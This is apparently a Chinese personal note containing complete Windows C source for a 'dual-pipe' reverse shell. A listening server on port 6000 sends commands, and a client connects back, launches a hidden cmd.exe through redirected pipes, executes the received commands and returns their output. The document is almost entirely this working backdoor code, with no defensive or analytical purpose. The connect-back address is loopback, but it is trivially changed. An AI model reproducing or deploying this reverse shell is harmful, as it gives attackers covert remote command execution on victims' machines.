双管道cmd反弹程序

仅此记录，以备查询

server:

#include <WINSOCK2.H>
#include <windows.h>
#include <stdio.h>
#include <process.h>
#pragma comment(lib,"ws2_32.lib")

void ReceiveThread(LPVOID lPvoid)
{
SOCKET socketNew = (SOCKET)lPvoid;
while(1)
{
char receiveBuf[1024];//接收
int len = recv(socketNew,receiveBuf,sizeof(receiveBuf),0);
if(len <= 0)
{
closesocket(socketNew);
printf("socket error...\n");
ExitThread(0);
}
receiveBuf[len] = 0;
printf("%s",receiveBuf);
}
}

void SendThread(LPVOID lPvoid)
{
SOCKET socketNew = (SOCKET)lPvoid;

char test[] = "dir d:\\";
char sendBuf[1024];

while(1)
{
gets(sendBuf);
//printf("Send:%s\n",sendBuf);
if(SOCKET_ERROR == send(socketNew,sendBuf,strlen(sendBuf),0))
{
printf("Send Error\n");
//第一个套接字关闭后，还未退出该线程，所以输入 ，没有任何效果
//当然这里仅是测试，正常不会不同连接应该对应不同的cmd窗口
ExitThread(0);
}
}

}

void SocketThread(LPVOID lPvoid)
{
SOCKET socketNew = (SOCKET)lPvoid;
_beginthread(ReceiveThread, NULL, (LPVOID)socketNew);
_beginthread(SendThread, NULL, (LPVOID)socketNew);

}

int main(int argc,char **argv)
{
//创建套接字
WORD myVersionRequest;
WSADATA wsaData;
myVersionRequest=MAKEWORD(2,2);
int err;
err=WSAStartup(myVersionRequest,&wsaData);
if (!err){
printf("已打开套接字\n");
}else{
printf("ERROR:嵌套字未打开!");
return 1;
}
//进一步绑定套接字
SOCKET serSocket=socket(AF_INET,SOCK_STREAM,0);//创建了可识别套接字

//需要绑定的参数
SOCKADDR_IN addr;
addr.sin_family=AF_INET;
addr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);//ip地址
addr.sin_port=htons(6000);//绑定端口

bind(serSocket,(SOCKADDR*)&addr,sizeof(SOCKADDR));//绑定完成
listen(serSocket,5);//其中第二个参数代表能够接收的最多的连接数

//////////////////////////////////////////////////////////////////////////
//开始进行监听
//////////////////////////////////////////////////////////////////////////
SOCKADDR_IN clientsocket;
int len=sizeof(SOCKADDR);

while(1)
{
SOCKET socketNew = accept(serSocket,(SOCKADDR*)&clientsocket,&len);
printf("new connection is coming....\n");
_beginthread(SocketThread, NULL, (LPVOID)socketNew);
}
return 1;
}

client:
#include <WINSOCK2.H>
#include <Windows.h>
#include <stdio.h>
#include <process.h>
#pragma comment(lib,"ws2_32.lib")

HANDLE hStdInRead, hStdInWrite;
HANDLE hStdOutRead, hStdOutWrite;

SECURITY_ATTRIBUTES saIn, saOut;

SOCKET clientSocket;

BOOL CreateTwoPipe()
{
DWORD dwRet;
saIn.nLength = sizeof(SECURITY_ATTRIBUTES);
saIn.bInheritHandle = TRUE;
saIn.lpSecurityDescriptor = NULL;
dwRet = CreatePipe(&hStdInRead, &hStdInWrite, &saIn, 0);
if(!dwRet)
{
printf("failed to create in pipe...\n");
return FALSE;
}

saOut.nLength = sizeof(SECURITY_ATTRIBUTES);
saOut.bInheritHandle = TRUE;
saOut.lpSecurityDescriptor = NULL;
dwRet = CreatePipe(&hStdOutRead, &hStdOutWrite, &saOut, 0);
if(!dwRet)
{
printf("failed to create in pipe...\n");
return FALSE;
}

STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput = hStdInRead;
si.hStdOutput = hStdOutWrite;
si.hStdError = hStdOutWrite;
char cmdline[]="cmd.exe";
PROCESS_INFORMATION ProcessInformation;
dwRet = CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);

return TRUE;

}

void ReadOutPutReadCmd(LPVOID lPvoid)
{
DWORD dwByteRecv;
char Buf[1024] = {0};
int ret;

while(1)
{
memset(Buf, 0, sizeof(Buf));
PeekNamedPipe(hStdOutRead, Buf, 1024, &dwByteRecv, 0, 0);
if(dwByteRecv)
{
ret = ReadFile(hStdOutRead, Buf, dwByteRecv, &dwByteRecv, 0);
if(!ret)
break;
ret = send(clientSocket, Buf, dwByteRecv, 0);
if(ret <= 0)
break;
}
}

}

int main(int argc,char **argv)
{
int err;
WORD versionRequired;
WSADATA wsaData;
versionRequired=MAKEWORD(2,2);
err=WSAStartup(versionRequired,&wsaData);//协议库的版本信息
if (!err) {
printf("客户端嵌套字已经打开!\n");
}else{
printf("ERROR:客户端的嵌套字打开失败!\n");
return 1;//结束
}
clientSocket=socket(AF_INET,SOCK_STREAM,0);

SOCKADDR_IN clientsock_in;
clientsock_in.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
clientsock_in.sin_family=AF_INET;
clientsock_in.sin_port=htons(6000);

//bind(clientSocket,(SOCKADDR*)&clientsock_in,strlen(SOCKADDR));//注意第三个参数
//listen(clientSocket,5);
int ret = connect(clientSocket,(SOCKADDR*)&clientsock_in,sizeof(SOCKADDR));//开始连接
if(ret != 0)
{
printf("failed to connect to server...\n");
return 0;
}

if(!CreateTwoPipe())
{
printf("failed to create pipe...\n");
return 0;
}

DWORD dwByteRecv;
char Buf[1024] = {0};

_beginthread(ReadOutPutReadCmd, 0, NULL);

while(1)
{
//memset(Buf, 0, sizeof(Buf));
//Sleep(1000); //等待cmd执行
//PeekNamedPipe(hStdOutRead, Buf, 1024, &dwByteRecv, 0, 0);
//if(dwByteRecv)
//{
// ret = ReadFile(hStdOutRead, Buf, dwByteRecv, &dwByteRecv, 0);
// if(!ret)
// break;
// ret = send(clientSocket, Buf, dwByteRecv, 0);
// if(ret <= 0)
// break;
//}
//else
//{
// dwByteRecv = recv(clientSocket, Buf, 1024, 0);

// if(dwByteRecv <= 0)
// break;
// Buf[dwByteRecv] = '\r';
// Buf[dwByteRecv+1] = '\n';
// Buf[dwByteRecv + 2] = 0;
// printf("recv: %s", Buf);
// ret = WriteFile(hStdInWrite, Buf, dwByteRecv + 2, &dwByteRecv, 0);
// if(!ret)
// break;

//}

dwByteRecv = recv(clientSocket, Buf, 1024, 0);

if(dwByteRecv <= 0)
break;
Buf[dwByteRecv] = '\r';
Buf[dwByteRecv+1] = '\n';
Buf[dwByteRecv + 2] = 0;
printf("recv: %s", Buf);
ret = WriteFile(hStdInWrite, Buf, dwByteRecv + 2, &dwByteRecv, 0);
if(!ret)
break;
}
closesocket(clientSocket);
WSACleanup();
system("pause");
return 0;
}